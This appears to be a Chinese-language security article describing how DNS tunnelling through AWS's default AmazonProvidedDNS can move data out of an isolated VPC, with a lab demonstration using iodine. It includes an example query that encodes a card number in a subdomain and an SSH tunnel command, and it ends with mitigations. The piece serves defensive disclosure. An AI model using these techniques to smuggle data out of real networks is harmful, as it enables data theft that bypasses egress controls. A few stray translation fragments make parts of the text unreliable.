去往AmazonProvidedDNS的流量都是绑定到AWS管理基础架构的流量，它们既不会通过与标准客户流量相同的网络链接流出，也不会进行相应的安全组检测。
TL;DR
客户可以通过VPC（默认启用）使用AWS的DNS基础设施。流向AmazonProvidedDNS的流量是绑定到AWS管理基础架构的流量，它们既不会通过与标准客户流量相同的网络链接流出，也不会进行相应的安全组检测。利用DNS渗漏技术，可以将数据从隔离的网络中泄露出去。
攻击者可以通过DNS渗漏技术绕过防火墙的出站规则，然后仅通过DNS协议就能对外泄漏数据或完成指挥和控制活动。在这种情况下，如果AWS管理的DNS基础设施未被禁用，甚至可以通过DNS渗漏技术从隔离的VPC中泄露数据。
当内部DNS服务器配置为将外部请求转发到上游DNS服务器时，就可能会发生DNS渗漏。默认情况下，AWS允许在所有VPC中使用预配置的DNS基础设施（名为AmazonProvidedDNS）。攻击者可以利用这个通道在许可的环境之外的服务器上发送和接收数据。为了降低这种风险，AWS客户可以使用自己的DNS服务器，同时关闭预配置的AmazonProvidedDNS。
DNS的工作原理
要了解DNS渗漏技术的运行机制，首先需要了解DNS是如何工作的。如果您已经对其原理非常熟悉的话，请点击此处跳至下一节。
在许多组织中，防火墙通常会阻塞端口53（DNS）的出站流量，并且使用内部DNS服务器来解析外部域名。内部DNS服务器通常会将端口53出站端口向更高级别的DNS服务器开放，以便解析内部DNS服务器无法解析的域名。让我们来看一下DNS服务器第一次遇到域名“yo.dejandayoff.com”时是如何处理的。
计算机首先向内部DNS服务器发出请求，以查找yo.dejandayoff.com。
DNS服务器必须首先解析顶级域名“.com”的位置。为此，该DNS服务器将向根服务器请求.COM DNS服务器。
由于我们正在查找的域名是yo.dejandayoff.com，所以DNS服务器需要找到dejandayoff.com域名服务器的位置。一旦找到域名服务器，该DNS服务器就发出一个请求，查询yo.dejandayoff.com的相关记录。该DNS服务器使用IP响应客户端。
注意：可能还涉及到其他的DNS服务器（比如你的ISP的DNS服务器和上游的DNS服务器）
DNS渗漏技术的工作原理
如果攻击者可以控制解析某个域名的域名服务器，那么他们就能记录所有子域名查询请求，并伪造相应的响应。虽然域名服务器接收的请求必须符合标准的DNS协议，但是它对这些数据的处理并不一定是标准的。
为了证明这一点，我们假设一个对公司不满的内部员工希望从无法访问外部互联网的生产网络中泄露出数千个信用卡号码。为了达到这个目的，一种选择是使用DNS渗漏技术，这样就可以把信用卡号码掺入到域名查找请求之中，从而实现了数据渗漏。例如：
4012888888881881.123.0808.visa.yo.dejandayoff.com
当负责解析yo.dejandayoff.com的域名服务器收到这个请求时，它可以该记录请求，然后用一个随机的IP来响应该请求。攻击者甚至可以在每个请求中包含多个信用卡号码，或者先对数据进行压缩，然后发送压缩后的数据，以尽量减少必须发送的请求数量。但是，无论采用哪种方法，攻击者都可以通过内部DNS服务器解析外部域名来实现双向通信。
当然，实现这个目的的方法有很多，比如攻击者可以创建一个只通过DNS进行通信的本地的http代理，或者使用一个本地网络接口，通过DNS隧道传输所有类型的流量。事实上，有一个工具就是专门为此而生的！
攻击者如何在AWS中使用这种技术？
DNS渗漏绝早就不是一个新概念了，同时，相应的解决方案也不是想象中的那么简单。在非AWS环境中，一个解决方案是阻止所有出站DNS连接（如果您不关心可用性的话）。另一个解决方案是将允许解析的域名列入白名单。最简单的缓解控制措施是监视DNS日志的异常情况（域名解析请求的频率、大小等）
对于AWS来说，可以通过在每个子网中分配一个IP来使用AmazonProvidedDNS，以简化基础设施的构建过程（。HTML＃VPC_Sizing）。管理员只能启用和禁用每个子网中的DNS基础设施。我们知道，VPC流量日志文档不会记录管理流量未检测到dns配置记录，而AmazonProvidedDNS发出的请求属于管理流量，所以，它既不会通过与标准客户流量相同的网络链接出站，也不会进行相应的安全组检测。以下是创建VPC时的默认DNS配置及其设置的快照：
通常情况下，为了在AWS中建立一个出站连接，需要：
一个达到Internet网关或NAT设备的路由
一个允许在该端口上进行出站通信的安全组
但是，使用上述方法，攻击者可以通过使用AmazonProvidedDNS绕过这些限制。为了演示这个漏洞未检测到dns配置记录，我创建了一个带有公共子网和私有子网的网络。公共子网唯一的用途是能够通过ssh进入私有子网（Bastion主机）。公共子网确实有一个互联网网关（以方便通过ssh进入Bastion主机）。私有子网不包含互联网网关或NAT（只有DNS IP，在默认情况下，Amazon会在所有子网中开放该IP）。在私有子网中的主机上的安全组的配置只允许与Bastion主机建立SSH，并且绝对不允许出站连接。这个网络布局如下所示：
配置如下所示：
公共子网路由表：
私有子网路由表：
私有主机入站安全组：
私有主机出站安全组：
为了证明我无法连接到外部的互联网，下面给出了私人服务器接收的dejandayoff.com网络超时信息。
设置好环境后，我在一个单独的VPC中创建了另一个服务器来运行iodine服务。接下来，专用服务器将使用其iodine客户端连接到服务器：
连接iodine后，我可以使用以下命令在端口8080上创建一个ssh隧道（通过iodine DNS隧道）来连接google.com：
ssh -L 8080:google.com:443 10.53.53.2
（10.53.53.0/24是iodine隧道的子网，10.53.53.2是我可以通过ssh连接的iodine服务器）
通过curl连接:8080，我们就能到达谷歌的服务器了！
虽然上图中谷歌的响应使用了重定向，但是这里要演示的是，一个没有出站规则、没有互联网网关的服务器照样能够到达外部网站。这样一来，攻击者就可以轻松地从一个隔离的系统中向外传输数据，并且不会遇到安全检查。
缓解措施
幸运的是，亚马逊允许用户禁用VPC中的AmazonProvidedDNS。一旦禁用，用户就必须借助其他软件在网络中创建自己的DNS服务器。这样一来，自定义的DNS服务器就会记录相关的数据，并且还能让它只跟白名单中的网站进行通信。
